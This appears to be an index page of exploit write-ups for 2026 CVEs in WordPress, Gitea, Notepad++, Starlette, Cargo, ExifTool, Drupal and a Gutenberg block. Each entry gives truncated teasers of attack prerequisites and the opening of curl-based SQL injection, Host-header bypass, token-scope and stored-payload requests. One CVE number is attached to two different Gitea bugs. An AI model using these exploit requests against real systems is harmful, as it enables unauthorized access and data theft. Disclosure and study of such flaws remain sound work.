Articles

§06 · Field notes

CVE · PLUGINS · ZERO-DAYS
GitHub

CVE-2026-63030: wordpress-develop

## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...

GitHub

CVE-2026-27771: gitea

## The Exploit Attacker needs a repository access token that is valid for repo read operations but does not have the specific download/archive scope. ```bash curl -i -H "Authorization: token REPO_READ_ONLY_TOKEN" \ "https://TARGET/user/...

Read article →
GitHub

CVE-2026-48800: notepad-plus-plus

## The Exploit An attacker only needs local access to the user's Notepad++ profile files so they can corrupt the File Browser command interpreter setting. ```bash # Set Notepad++ FileBrowser command interpreter to a malicious executable p...

Read article →
GitHub

CVE-2026-48710: starlette

## The Exploit The attacker only needs the ability to send HTTP requests to the Starlette application. ```bash curl -i -s -X GET 'http://127.0.0.1:8000/admin' \ -H 'Host: example.com/foo' ``` The app accepts the malformed `Host` header...

Read article →
GitHub

CVE-2026-27771: gitea

## The Exploit A low-privilege user able to call the composer package metadata API can retrieve metadata for a private package owner. ```bash curl -i -H "Authorization: token ATTACKER_TOKEN" \ "https://TARGET/api/packages/victimuser/com...

Read article →
GitHub

CVE-2026-5222: cargo-cve-2026-5222

## The Exploit An attacker only needs publish rights on a sparse third-party registry hosted under the same domain as another registry. ```bash cat > .cargo/config.toml <<'EOF' [registries.victim] index = "https://registry.example.com/vic...

Read article →
GitHub

CVE-2026-3102: exiftool-rce-2026

## The Exploit The attacker only needs the ability to submit a PNG through an ExifTool-powered processing pipeline; no authentication is required on the ExifTool side itself. ```bash #!/bin/bash cat > /tmp/exploit.png <<'EOF' iVBORw0KGgoA...

Read article →
GitHub

CVE-2026-9082: drupal-sqli-2026

## The Exploit An attacker only needs a public Drupal JSON:API content endpoint to send a malformed filter array and trigger SQL injection. ```bash curl -G 'https://TARGET/jsonapi/node/page' \ -H 'Accept: application/vnd.api+json' \ -...

Read article →
GitHub

CVE-2026-48710: starlette-badhost

## The Exploit An unauthenticated attacker only needs network access to send a crafted `Host` header. ```bash curl -v -H "Host: foo/bar" http://TARGET/admin ``` The request is routed to the actual path `/admin`, but Starlette rebuilds `r...

Read article →
GitHub

CVE-2026-2868

## The Exploit Requires an authenticated contributor-level user or above to store a malicious `separatorIconSVG` block attribute. ```bash # store the malicious separatorIconSVG payload in a Gutenberg block curl -sk -X POST "https://target...

Read article →